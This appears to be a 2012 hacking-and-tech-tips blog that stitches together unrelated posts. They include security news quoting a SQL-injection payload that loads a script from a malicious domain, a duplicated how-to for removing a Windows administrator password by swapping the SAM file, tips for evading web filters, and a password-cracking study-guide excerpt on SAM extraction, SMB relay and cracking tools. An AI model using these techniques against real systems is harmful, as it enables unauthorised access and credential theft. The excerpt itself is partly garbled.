Monday, 11 June 2012

Lilupophilupop SQL Injection Tops 1 Million Infected Pages

Lilupophilupop SQL InjectionA SQL attack which is increasing at extremely fast rates has been uncovered by ISC ( Internet Storm Center ) has seen to raise from just a few hundred pages to over 1 million in just a few weeks.
From the past few weeks of going over submitted results and information from interweb users they have put together some interesting data, one it seems to be targeting windows based servers and from the logs it seems they had been doing a bit of probing around within the weeks before the sites been injected with a special string:
“></title><script src=”hXXp://lilupophilupop.com/sl.php”></script>
They have also put together fairly solid base of ccTLD’s statistics of which have been infected (as shown below) -
  • UK – 56,300
  • NL – 123,000
  • DE – 49,700
  • FR – 68,100
  • DK – 31,000
  • CN – 505
  • CA – 16,600
  • COM – 30,500
  • RU – 32,000
  • JP – 23,200
  • ORG – 2,690
At the moment it looks like it is partially automated and partially manual. The manual component and the number of sites infected suggests a reasonable size work force or a long preparation period.
If you want to find out if you have a problem just search for “<script src=”http://lilupophilupop.com/” in google and use the site: parameter to hone in on your domain.
Original Findings and Comments: ISC Diary | SQL Injection Attack happening ATM
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Hackers Acquire Google Certificate, Could Hijack Gmail Accounts

Hackers have obtained a digital certificate good for any Google website from a Dutch certificate provider.
Google SSL Certificate
Criminals could use the certificate to conduct “man-in-the-middle” attacks targeting users of Gmail, Google’s search engine or any other service.
Attackers could poison DNS, present their site with the fake cert and bingo, they have the user’s credentials.
Man-in-the-middle attacks could also be launched via spam messages with links leading to a site posing as, say, the real Gmail. If recipients surfed to that link, their account login username and password could be hijacked.
Details of the certificate were posted on Pastebin last Saturday.
The SSL certificate is valid, and was issued by DigiNotar, a Dutch certificate authority, or CA.
It’s unclear whether the certificate was obtained because of a lack of oversight by DigiNotar or through a breach of the company’s certificate issuing website.
Given their ties to the government and financial sectors it’s extremely important to find out the scope of the breach as quickly as possible. The situation was reminiscent of a breach last March, when a hacker obtained certificates for some of the Web’s biggest sites, including Google and Gmail, Microsoft, Skype and Yahoo.
Then, Comodo said that nine certificates had been fraudulently issued after attackers used an account assigned to a company partner in southern Europe.
Initially, Comodo argued that Iran’s government may have been involved in the theft. Days later, however, a solo Iranian hacker claimed responsibility for stealing the SSL certificates.
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Google’s servers can be used by cyber attackers to launch DDoS attacks, claims Simone “R00T_ATI” Quatrini, a penetration tester for Italian security consulting firm AIR Sicurezza.
Google Servers
Quatrini discovered that two vulnerable pages – /_/sharebox/linkpreview/ and gadgets/proxy? – can be used to request any file type, which Google+ will download and show – even if the attacker isn’t logged into Google+.
By making many such request simultaneously – which he managed to do by using a shell script he’s written – he practically used Google’s bandwidth to orchestrate a small DDoS attack against a server he owns.
He points out that his home bandwidth can’t exceed 6Mbps, and that the use of Google’s server resulted in an output bandwidth of at least 91Mbps.
“The advantage of using Google and make requests through their servers, is to be even more anonymous when you attack some site (TOR+This method); The funny thing is that apache will log Google IPs,” says Quatrini. “But beware: igadgets/proxy? will send your IP in apache log, if you want to attack, you’ll need to use /_/sharebox/linkpreview/.”
He says he has discovered the flaws that allow the attack on August 10 and that he contacted Google’s Security center about it. After 19 days of receiving no reply from Google, he published his findings.
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The entire user database of Groupon’s Indian subsidiary Sosasta.com was accidentally published to the Internet and indexed by Google.
The database includes the e-mail addresses and clear-text passwords of the site’s 300,000 users. It was discovered by Australian security consultant Daniel Grzelak as he searched for publicly accessible databases containing e-mail address and password pairs.
Grzelak used Google to search for SQL database files that were web accessible and contained keywords like “password” and “gmail”.
“A few hours and tweaks later, this database came up,” he said. “I started scrolling, and scrolling and I couldn’t get to the bottom of the file. Then I realised how big it actually was.”
Grzelak contacted Risky.Biz after the Sosasta discovery to seek advice on disclosure. This website contacted the CEO of Groupon, Andrew Mason, who called back personally within 24 hours of initial contact.
The database was removed immediately and the company has launched an internal investigation to find out how it wound up publicly accessible in the first place.
Groupon is notifying all its Sosasta users of the incident and is advising them that the passwords they used on the website are now compromised and cannot be relied upon to secure other accounts.



Breaking Administrator’s Password!!

Administrator password can be broken by replacing sam file in system32\config by the sam file in repair folder of windows. it can be easily done on a machine with dual operating systems, simply log on to os other then the one whoes password is to be cracked the way is exactly same as written above but if there is a single os on a machine then there is only one way i.e to use ms dos start up disk or some other boot disk and replace the sam file in config folder with the one in repair folder
note:- this method works only if hard drive is FAT32 formatted because NTFS drive does’nt take boot from Ms DOS
This way you can remove the old administratOr password as if the windows is newly installed and the password was’nt set

Breaking Administrator’s Password!!

Administrator password can be broken by replacing sam file in system32\config by the sam file in repair folder of windows. it can be easily done on a machine with dual operating systems, simply log on to os other then the one whoes password is to be cracked the way is exactly same as written above but if there is a single os on a machine then there is only one way i.e to use ms dos start up disk or some other boot disk and replace the sam file in config folder with the one in repair folder
note:- this method works only if hard drive is FAT32 formatted because NTFS drive does’nt take boot from Ms DOS
This way you can remove the old administratOr password as if the windows is newly installed and the password was’nt set

Funky E-mail ID

Hey friends r u bored from ur old email id????? Now msn present funky id 4 U such as heybaby.co.in, clubdhoni.co.in, kolkotarocks.co.in etc…. So why u wait just login www.coolhotmail.com & enjoy funky id…

Install Linux with in Windows:-

One problem people seem to have with installing Linux is the fact you have to download an .iso, and then burn it to a CD. While burning an .iso to a CD is not hard, unless you are into it, or have done it before, it can be confusing. That is, assuming you have a CD drive, CD burner, and spare CDs. Not to mention with some Windows CD burning programs, it’s not exactly obvious how to properly burn an .iso.To solve this Debian and Ubuntu are now offering a downloadable Windows .exe file that will install Linux while you are running Windows. The Ubuntu one apparently will do all it’s automatic, non-destructive partition magic (meaning it will make your system dual boot with both Windows and Linux without hurting the Windows OS).
The Debian installer can be found on goodbye-microsoft.com, and the Ubuntu one doesn’t seem like it’s ready, but you can read about it on the wiki page.
I don’t see myself using this as I tend to build my own servers (and use Mac on the desktop). However, I can see this being very useful for systems that come with Windows pre-installed and you want Linux instead.
In my experience, a Debian or Ubuntu CD is only used to boot the system anyway. Once a network is found all the software is loaded live over the net via apt-get so this removes the first step being local (and limits some waste). Very cool.

Free Domain Name

Free Domain Name providers
http://www.s5network.info – free .com .net .org .info .biz offer
http://www.registerfly.com, www.nucleus.be – free .be offer
http://www.goodluckdomain.in/dotorg.html – free .org offer
http://www.domainsite.com – free .info offer
http://forums.inuration.net – free .com .net .org .info .biz offer
“Almost” domains (domain-like subdomains)
Note: More info on these services will be added soon
yoursite.co.nr www.co.nr
yoursite.biz.ly www.biz.ly
yoursite.net.tc, yoursite.net.ms, etc. www.smartdots.com, www.unonic.com, and www.cydots.com
yoursite.us.tt, yoursite.uk.tt, etc. www.joynic.com
yoursite.int.tl www.int.tl
yoursite.i.am, yoursite.on.to, etc www.v3.com
yoursite.q.la, yoursite.1.vg, etc. www.afraid.org
yoursite.4t.com, yoursite.8k.com, etc. www.freeservers.com
yoursite.b3.nu, etc. www.smartredirect.com
yoursite.com.ru, yoursite.net.ru, etc. www.lifelesspeople.com
yoursite.po.gs www.po.gs
yoursite.da.ru www.da.ru
yoursite.uni.cc www.uni.cc
yoursite———- www———-
yoursite.eu.org www.eu.org – only residents / non-profit orgs. in Europe
yoursite.za.net www.za.net – only residents / organis. in South Africa

How to Access Banned Websites:-

Surfing at school? Parents enabled website blocking? Stuck behind a strict firewall? There are lots of ways around the problem so that you can get to the sites you want to see without those cybernannies tying your hands…
phproxy is “dedicated to bringing you fast web browsing from behind web filters”. Simply tap in the URL of that banned site you really must see, it could be Facebook, MySpace, Youtube, or a renegade blogger behind enemy lines, and you will be able to access it with no problems. More seriously, the proxy allows you to visit a site anonymously because it is the proxy itself that is visiting the banned site not you, and so keeps your browsing hidden from prying eyes allowing you to protect your online identity.
Such a proxy also allows you to visit sites that have banned your IP. This might be a forum or just a website or blog from which you or other users on your IP range (whether on your school or company network or your ISP account) have been barred access. The proxy server is an open gateway between your web destination and you.
Other proxies exist, such as www.the-cloak.com (please make sure you include the hyphen in that URL or you will be in for a shock), and this page provides a shipload more.
More on an additional approach (Psiphon) here – http://en.wikipedia.org/wiki/Psiphon
Of course, we should add a disclaimer at this point, please don’t use proxies or anonymizers to break the law or to cause malice and please don’t abuse the service as they are usually free.

(CrossOver Linux) Windows Applications, Seamlessly Integrated On Linux

cxshot_linux.png
CrossOver Linux allows you to install many popular Windows productivity applications, plugins and games in Linux, without needing a Microsoft Operating System license. CrossOver includes an easy to use, single click interface, which makes installing a Windows application simple and fast. Once installed, your application integrate seamlessly with your Gnome or KDE environment. Just click and run your application, exactly as you would in Windows, but with the full freedom of Linux.
CrossOver Linux lets you use many Windows plugins directly from your Linux browser. Plugins work on any x86 based Linux distribution and will integrate with most browsers including Firefox 1.x, Netscape 6.x, Konqueror, Mozilla, and Opera. CrossOver also integrates with Gnome and KDE to let you transparently open any Word, Excel or PowerPoint file. But even better, you can open these attachment types directly from any mail client.

One Application: Two Delicious Flavors!

We’ve created two versions of CrossOver Linux — Standard and Professional — to serve our home-user/enthusiast and corporate markets even better. CrossOver Linux Standard provides individual users with the ability to run a wide variety of Windows software cleanly and economically. CrossOver Linux Professional provides corporate users with the enhanced deployability and manageability features their environments demand.
Download CrossOver Linux

If Orkut Blocked..Surf Anonymously using JAP!!

No problem if orkut/youtube etc is blocked in your office or college or school….and you are fed up of using proxy websites and there low urfing speeds.And what worse if these proxy websites are also blocked…..phew!!!!
But no problems….. Download JAP & Download Ultrasurf and easily surf any blocked website with anonymity

Step 1: Download JAP or ultrasurf
Step 2: Execute Setup file [may take few minutes depending upon internet speed]
Step 3: Change you Explorer LAN connection settings

Change the default gateway IP to 127.0.0.1 and port 4001

Thats it you have gained independence to free to surf any website….
jap1.jpg

 

How to Lock the folders:-

folder1.jpg
You can lock and unlock your folder with this simple trick !
Procedure :1. Make a folder on the desktop and name it as “folder”
2. Now, open notepad and write ren folder folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} and now (Notepad Menu) File>save as.
3. In the ‘save as’ name it as lock.bat and click save ! (Save it on Desktop)
4. Now, again open notepad again and write ren folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} folder and now (Notepad Menu) File>save as.
5. In the ‘save as’ name it as key.bat and click save ! (Save it on Desktop)
6. Now, double click lock.bat to lock the folder and now if you open your folder, control panel will open up !
7. Now, double click key.bat to open the folder and now if you open your folder, you can access your data inside the folder again !
8. Lock your folder and hide the key.bat somewhere else on your hard disk !
9. Whenever you want to open your folder just paste the key.bat on desktop and open your folder using it !

 

How to find the “real” IP address of a web site?

You can use the PING utility included with Windows to determine the “real” IP address of a web site. Before using this utility, make sure you are not mapping a host name to some IP address with HostName Commander, because if you do, the PING utility will show the address you’ve set up with HostName Commander, instead of the “real” IP address.
To run the PING utility, click on the Windows Start button, and choose Run from the Start Menu. If you use Windows 95,98, or Me, enter “command” (without the quotes) as the command line to run. If you use Windows XP,2000, or NT, enter “cmd” (again, without the quotes). Click OK and the command prompt window should appear on the screen.
Now enter the word “ping” (without the quotes) followed by a space, followed by the host name you want to determine the IP address of, and press Enter:
ping.jpg
In this example, the IP address of the host name www.rkgit.edu.in is 74.52.201.2 & IP Address of the host name www.kiet.edu is 220.225.19.55 . (Keep in mind that the IP address may change in the future!). If the PING utility reports an error, make sure your computer is connected to the Internet when you are running it.

 

Tuesday, 22 May 2012

Customize Google to Improve Search Results:

05/16/2012
Google is indisputedbly the best search engine out there on the Internet, however there are a few ways by which you can customize Google and make it even better. I have got 3 best free Firefox extensions using which you can customize Google by adding extra useful information to your search results andremove unwanted informationlike ads, spam and click tracking so as to improve the overall searching experience. The following are the 3 best extensions for Firefox using which you can improve the search results.1. OPTIMIZEGOOGLE:Using OptimizeGoogle, you can get rid of text ads from Google search results, add links from about 10 other search engines, add position counter, product results and more. You can even filter your search results to see dead websites (using WayBack Machine) andremove click tracking so that you can search anonymously. Here is a list of some of the other useful features of this plugin.

1. Use Google suggest (get word suggestion while typing)2. Add more security by using https wherever necessary
3. Filter spammy websites from search results page4. Option to remove SideWiki5. Add links to bookmark your favorite result6. Add links to other news and product search sitesTo install the plugin, just visit the OptimizeGoogle page from your Firefox browser and click on the Download button. Once installed, you can enable or disable the customization options from the Tools -> OptimizeGoogle Options.After you customize Google to improve the search results, how about adding a feature that provides a way to preview the website in the search results itself? Here is a miracle Firefox extension to this job for us.2. SEARCHPREVIEW:SearchPreview (formerly GooglePreview) will insert thumbnail view of the webpage into the Google search results page itself so that you can take the guess work out of clicking a link. Just install the plugin, reload Firefox and you will have the SearchPreview at work. You can install this plugin from the following link.SearchPreview DownloadOptimizeGoogle and SearchPreview have made our search results smarter and faster. Now how about safer? Well you have another Firefox plugin to make your search results safer as well. Here we go.3. MCAFEE SITEADVISOR:This is a free browser plugin that gives safety advice about websites on the search results page before you actually click on the links. After you install the SiteAdvisor plugin, you will see a small rating icon next to each search result which will alert you about suspecious/risky websites and help you find safer alternatives. These ratings are derived based on various tests conducted by McAfee.Based on the quality of links, SiteAdvisor may display Green, Yellow, Red or Grey icon next to the search results. Green means that the link is completely safe, Yellow means that there is a minor risk, Red means a mojor risk and Grey means that the site is not yet rated. These results will guide you to Web safety.SiteAdvisor works on both Internet Explorer and Firefox which you can download from the following link:McAfee SiteAdvisor DownloadI hope you enjoy these 3 plugins which make your searching experience a lot more simpler and safer. Here is a snapshot of all the 3 plugins at work.

Password cracking techniqu

We get daily tons of requests regarding password cracking,
hereby we present a well researched comprehensive article adressing the same
It may bounce many of ur heads but we are sure a must mug up for Geeks nour regular visitors!!
so Gear Up! Dont give up before having a look on the entire article!

Many hacking attempts start with attempting to crack passwords. Passwords are the key piece
of information needed to access a system. Users, when creating passwords, often select passwords
that are prone to being cracked. Many reuse passwords or choose one that’s simple—such
as a pet’s name—to help them remember it. Because of this human factor, most password cracking
is successful; it can be the launching point for escalating privileges, executing applications,
hiding files, and covering tracks. Passwords may be cracked manually or with automated tools
such as a dictionary or brute-force method, each of which are covered later in this chapter.
Manual password cracking involves attempting to log on with different passwords. The
hacker follows these steps:
1.
Find a valid user account (such as Administrator or Guest).
2.
Create a list of possible passwords.
3.
Rank the passwords from high to low probability.
4.
Key in each password.
5.
Try again until a successful password is found.
A hacker can also create a script file that tries each password in a list. This is still considered
manual cracking, but it’s time consuming and not usually effective.


Boring!! isnt it!! A more efficient way of cracking a password is to gain access to the password file on a system.
Most systems



hash
(one-way encrypt) a password for storage on a system. During the
logon process, the password entered by the user is hashed using the same algorithm and then
compared to the hashed passwords stored in the file. A hacker can attempt to gain access to
the hashing algorithm stored on the server instead of trying to guess or otherwise identify the
password. If the hacker is successful, they can decrypt the passwords stored on the server.
Passwords are stored in the Security Accounts Manager (SAM) file on a
Windows system and in a password shadow file on a Linux system.



Understanding the LanManager Hash
Windows 2000 uses NT Lan Manager (NTLM) hashing to secure passwords in transit on the
network. Depending on the password, NTLM hashing can be weak and easy to break. For
example, let’s say that the password is
123456abcdef
. When this password is encrypted with
the NTLM algorithm, it’s first converted to all uppercase:
123456ABCDEF
. The password is
padded with null (blank) characters to make it 14 characters long:
123456ABCDEF__
. Before
the password is encrypted, the 14-character string is split in half:
123456A and BCDEF__.
Each string is individually encrypted, and the results are concatenated:
123456A = 6BF11E04AFAB197F
BCDEF__ = F1E9FFDCC75575B15
The hash is
6BF11E04AFAB197FF1E9FFDCC75575B15


Hacking Tools
Legion automates the password guessing in NetBIOS sessions. Legion scans multiple
IP address ranges for Windows shares and also offers a manual dictionary attack tool.
NTInfoScan is a security scanner for NT 4.0. This vulnerability scanner produces an HTMLbased
report of security issues found on the target system and other information.
L0phtCrack is a password auditing and recovery package distributed by @stake software,
which is now owned by Symantec. It performs Server Message Block (SMB) packet captures
on the local network segment and captures individual login sessions. L0phtCrack contains
dictionary, brute-force, and hybrid attack capabilities.
John the Ripper is a command-line tool designed to crack both Unix and NT passwords. The
cracked passwords are case insensitive and may not represent the real mixed-case password.
KerbCrack consists of two programs: kerbsniff and kerbcrack. The sniffer listens on the network
and captures Windows 2000/XP Kerberos logins. The cracker can be used to find the
passwords from the capture file using a brute force attack or a dictionary attack.

Cracking Windows 2000 Passwords
The SAM file in Windows contains the usernames and hashed passwords. It’s located in the
Windows\system32\config
directory. The file is locked when the operating system is running
so a hacker can’t attempt to copy the file while the machine is booted to Windows.
One option for copying the SAM file is to boot to an alternate operating system such as
DOS or Linux with a boot CD. Alternately, the file can be copied from the
repair
directory.
If a systems administrator uses the RDISK feature of Windows to back up the system, then a
compressed copy of the SAM file called
SAM._
is created in
C:\windows\repair
. To expand
this file, use the following command at the command prompt:
C:\>expand sam._ sam
After the file is uncompressed, a dictionary, hybrid, or brute-force attack can be run against
the SAM file using a tool like L0phtCrack.


Redirecting the SMB Logon to the Attacker
Another way to discover passwords on a network is to redirect the Server Message Block
(SMB) logon to an attacker’s computer so that the passwords are sent to the hacker. In order
to do this, the hacker must sniff the NTLM responses from the authentication server and trick
the victim into attempting Windows authentication with the attacker’s computer. A common
technique is to send the victim an e-mail message with an embedded hyperlink to a fraudulent
Hacking Tools
Win32CreateLocalAdminUser is a program that creates a new user with the username and
password
X
and adds the user to the local administrator’s group. This action is part of the
Metasploit Project and can be launched with the Metasploit framework on Windows.
Offline NT Password Resetter is a method of resetting the password to the administrator’s
account when the system isn’t booted to Windows. The most common method is to boot to
a Linux boot CD and then access the NTFS partition, which is no longer protected, and change
the password.
SMB server. When the hyperlink is clicked, the user unwittingly sends their credentials over
the network.


SMB Redirection
Several automated hacking tools can implement SMB redirection:


SMB Relay MITM Attacks and Countermeasures
An SMB relay MITM attack is when the attacker sets up a fraudulent server with a relay
address. When a victim client connects to the fraudulent server, the MITM server intercepts
the call, hashes the password, and passes the connection to the victim server.
Figure 4.1 illustrates an example of such an attack.


Hacking Tools
SMBRelay is an SMB server that captures usernames and password hashes from incoming
SMB traffic. SMBRelay can also perform man-in-the-middle attacks.
SMBRelay2 is similar to SMBRelay but uses NetBIOS names instead of IP addresses to
capture usernames and passwords.
pwdump2 is a program that extracts the password hashes from a SAM file on a Windows system.
The extracted password hashes can then be run through L0phtCrack to break the passwords.
Samdump is another program to extract NTLM hashed passwords from a SAM file.
C2MYAZZ is a spyware program that makes Windows clients send their passwords as clear
text. It displays usernames and their passwords as users attach to server resources.

SMB relay countermeasures include configuring Windows 2000 to use SMB signing, which
causes it to cryptographically sign each block of SMB communications. These settings are
found under Security Policies/Security Options.


NetBIOS DoS Attacks
A NetBIOS Denial of Service (DoS) attack sends a NetBIOS Name Release message to the NetBIOS
Name Service on a target Windows systems and forces the system to place its name in conflict
so that the name can no longer be used. This essentially blocks the client from participating in the
NetBIOS network and creates a network DoS for that system.


Password-Cracking Countermeasures
The strongest passwords possible should be implemented to protect against password cracking.
Systems should enforce 8–12 character alphanumeric passwords. The length of time the same
password should be used is discussed in the next section.
To protect against cracking of the hashing algorithm for passwords stored on the server,
you must take care to physically isolate and protect the server. The systems administrator can
use the SYSKEY utility in Windows to further protect hashes stored on the server hard disk.
The server logs should also be monitored for brute-force attacks on user accounts.
A systems administrator can implement the following security precautions to decrease the
effectiveness of a brute-force password-cracking attempt:
1.
Never leave a default password.
2.
Never use a password that can be found in a dictionary.


Hacking Tools
SMBGrind increases the speed of L0phtCrack sessions on sniffer dumps by removing duplication
and providing a way to target specific users without having to edit the dump files manually.
The SMBDie tool crashes computers running Windows 2000/XP/NT by sending specially
crafted SMB requests.
NBTdeputy can register a NetBIOS computer name on a network and respond to NetBIOS
over TCP/IP (NetBT) name-query requests. It simplifies the use of SMBRelay. The relay can be
referred to by computer name instead of IP address.


Hacking Tools

NBName can disable entire LANs and prevent machines from rejoining them. Nodes on a Net-
BIOS network infected by the tool think that their names are already in use by other machines.
3.
Never use a password related to the host name, domain name, or anything else that can
be found with whois.
4.
Never use a password related to your hobbies, pets, relatives, or date of birth.
5.
Use a word that has more than 21 characters from a dictionary as a password.
This subject is discussed further in the section “Monitoring Event Viewer Logs.”
In the following sections, we’ll look at two measures you can take to strengthen passwords
and prevent password-cracking.



Password Change Interval
Passwords should expire after a certain amount of time so that users are forced to change
their passwords. If the password interval is set too low, then users will forget their current
passwords; as a result, a systems administrator will have to reset users’ passwords frequently.
On the other hand, if passwords are allowed to be used for too long, then security
may be compromised. The recommended password-change interval is every 30 days. In
addition, it’s recommended that users not be allowed to reuse the last three passwords.
You cannot completely block brute-force password attacks if the hacker
switches the proxy server where the source packet is generated. A systems
administrator can only add security features to decrease the likelihood that
brute-force password attacks will be useful.


Monitoring Event Viewer Logs
Administrators should monitor Event Viewer logs to recognize any intrusion attempts either
before they take place or while they’re occurring. Generally, several failed attempts are logged
in the system logs before a successful intrusion or password attack. The security logs are only
as good as the systems administrators who monitor them.
Tools such as VisualLast aid a network administrator in deciphering and analyzing the
security log files. VisualLast provides greater insight into the NT event logs so the administrator
can assess the activity of the network more accurately and efficiently. The program is
designed to allow network administrators to view and report individual users’ logon and
logoff times; these events may be searched according to time frame, which is invaluable to
security analysts who are looking for intrusion details.
The event log located at
c:\\windows\system32\config\Sec.Event.Evt
contains the
trace of an attacker's brute-force attempts.